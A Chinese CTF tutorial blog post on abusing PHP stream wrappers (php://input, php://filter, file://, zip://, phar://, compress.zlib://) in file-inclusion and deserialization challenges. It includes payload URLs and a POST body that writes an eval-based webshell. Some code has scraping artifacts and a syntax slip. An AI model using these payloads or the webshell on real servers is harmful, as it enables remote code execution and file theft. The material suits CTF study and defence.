首页 > 编程语言 >ctf中关于php伪协议的考查

ctf中关于php伪协议的考查

时间:2023-06-04 13:03:52浏览次数:48  
标签:off allow url flag 考查 ctf file php


1

php://input协议

第一个例子

flag.php
<?php$flag = 'flag{flag_is_here}'; 
test1.php
<?php
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r'))=== 'this is test'){
 echo"success\n";
 echo$flag;
}
else{
 echo"error";
}

看上面php代码可知当读取文件的内容是thisis test时才显示flag,我们并不知道那个文件有这个内容,我们可以使用php://这个协议php://input可以得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行,如下操作来绕过:

使用条件:

allow_url_fopen:off/on

allow_url_include:on

ctf中关于php伪协议的考查_绝对路径

第二个例子

php://input实现代码执行
test1.php改为如下
<?php
$a= $_GET["a"];
include($a);

通过POSTphp代码实现代码执行 

ctf中关于php伪协议的考查_绝对路径

执行php代码?等一下那我是不是可以写入一句话?试一下POST这段代码<?phpfputs(fopen(“shell.php”,”w”),’<?phpeval($_POST["cmd"];?>’);?> 

ctf中关于php伪协议的考查_绝对路径

注:只在php5.2.17 下测试成功,其他均出现报错,原因未知。

php://filter/convert.base64-encode/resource=

看另外一个代码:

<?php
$a= $_GET['a'];
include($a);

如何显示flag.php的内容呢?直接包含是不会显示的,这时就要用到这个php://filter/convert.base64-encode/resource=取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

php://filter在双off的情况下也可以正常使用;

allow_url_fopen:off/on
allow_url_include:off/on

ctf中关于php伪协议的考查_绝对路径

 base64解密得到原始数据: 

ctf中关于php伪协议的考查_绝对路径

利用反序列化读取文件

借鉴2016xctf 一道题的思路,代码被我简化了:

<?php
classflag{
    public$file;
    publicfunction __tostring(){
        echofile_get_contents($this->file);
 return'yes';
    }
}
$a= new flag();
$a->file= 'php://filter/convert.base64-encode/resource=flag.php';
$data= serialize($a);
echo$data.'<br>';
echounserialize($data);

定义一个flag类,并重写了tostring(),我们先new一个新对象,并给变量赋值,最后序列化一下。

假设在某个题目中序列化后变量是可控的而且我们知道类内容,那我们就可以通过可控变量实现任意文件读取,如上代码中,反序列化过程中实现了flag.php文件的读取

ctf中关于php伪协议的考查_绝对路径

2

file://协议

file://协议在双off的情况下也可以正常使用;

allow_url_fopen:off/on

allow_url_include:off/on

file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

前几天某比赛web第二道题就是利用注入控制反序列化,file://协议读取本地文件

注:file://协议必须是绝对路径

zip://,bzip2://, zlib://协议

双off情况下正常使用

allow_url_fopen:off/on

allow_url_include:off/on

payload:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23code.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

3

phar协议

1.jpg是一个里面含有1.php的压缩包,改了后缀名,包含方法如下。

include.php?f=phar://./images/1.jpg/1.php

4

zlib://协议

使用方法:

compress.zlib://file.gz

绝对路径

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/1.jpg

相对路径

http://127.0.0.1/cmd.php?file=compress.zlib://./1.jpg

5

总结

上面只是最基础的例子,在ctf中要会活用,正所谓再难的题也离不开基础。

题外话:近来国内ctf比赛越来越趋向于国际化,pwn、re题目占了绝大部分,web题很少或者直接没有,作为一个web狗要坚强的走下去。


ctf中关于php伪协议的考查_php_07

ctf中关于php伪协议的考查_绝对路径_08

标签:off,allow,url,flag,考查,ctf,file,php
From: https://blog.51cto.com/u_14601424/6410399

相关文章

  • 05web安全学习---PHP正则表达式
    一、初识SQL注入<metacharset='GBK'/><form><center> 用户登录<br/>账号:<inputtype='text'name='uname'/><br/>密码:<inputtype='password'name='pwd'/><br/>&......
  • winows 下iis+nginx +php 部署
    我们服务器使用的server2008,由于iis里还有asp.net网站,php就想用iis做代理转发到nginx来处理请求。第一步:我为了省事,直接安装的phpstudy 下载地址:https://www.xp.cn/第二步:安装好后,设置运行fast-cgi,可以使用以下命令做bat,指定端口运行fast-cgi,我指定端口为9003ECHOSt......
  • [SUCTF 2019]EasySQL 1 做题笔记
     题目考察的是SQL注入,先找一些常用的SQL命令1.判断注入类型:简单的注入类型有字符型和数字型2.判断列数?id=1’orderby4#?id=1'unionselect1,2,3#3.判断库名?id=1'unionselect1,database(),3#4.判断表名?id=1'unionselect1,group_concat(table_name),3......
  • 04web安全学习---PHP表单验证
    一、什么是表单?二、如何创建一个表单表单的一个最简单的写法:<formaction="https://www.baidu.com/s"><inputname='wd'/><inputtype='submit'/></form><!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"&quo......
  • SilentEye qsnctf wp
    题目附件(注:文件名为Luminous.jpg)根据题目提示,使用SilentEye工具将图片使用SilentEye打开使用左下角的Decode解密功能猜测密码为文件名,输入并开始解密将被加密的txt文件保存到本地打开发现是被加密的字符串++++++++++[->++++++++++<]>++++使用Brainfuck解密,......
  • php调用html模板
    在PHP中调用HTML模板,通常可以使用模板引擎来实现,例如Smarty、Twig等。以下是一个使用Smarty模板引擎的示例代码:<!--HTML模板文件template.html--><html><head><title>{$title}</title></head><body><h1>{$header}</h1>{foreach$i......
  • php新闻分页代码
    以下是一个简单的PHP新闻分页代码示例:<?php$servername="localhost";$username="username";$password="password";$dbname="news";//创建连接$conn=newmysqli($servername,$username,$password,$db......
  • php生成圆形图片
    在PHP中生成圆形图片需要用到GD库提供的图像处理函数。以下是一个简单的示例代码://创建一个200x200的正方形画布$image=imagecreatetruecolor(200,200);//生成背景色为白色的正方形$bg_color=imagecolorallocate($image,255,255,255);imagefill($image,0,......
  • [ACTF2020 新生赛]Include 1 做题笔记
     点开tips 打开源代码看看 没发现什么信息,试试构造?file=php://filter/read=convert.base64-encode/resource=flag.php 得到base64,试着解码 得到flag......
  • [HCTF 2018]WarmUp 1 做题笔记
     打开发现什么信息也没有,先看源代码, 发现隐藏信息 source.php试着打开  看到了class.emmm里面有个hint.php提示,试着打开提示flag不在这里,ffffllllaaaagggg,猜测是有四次过滤,再结合上面的classemmm代码,构造file=hint.php,然后试着用../../../../反过滤构造?file......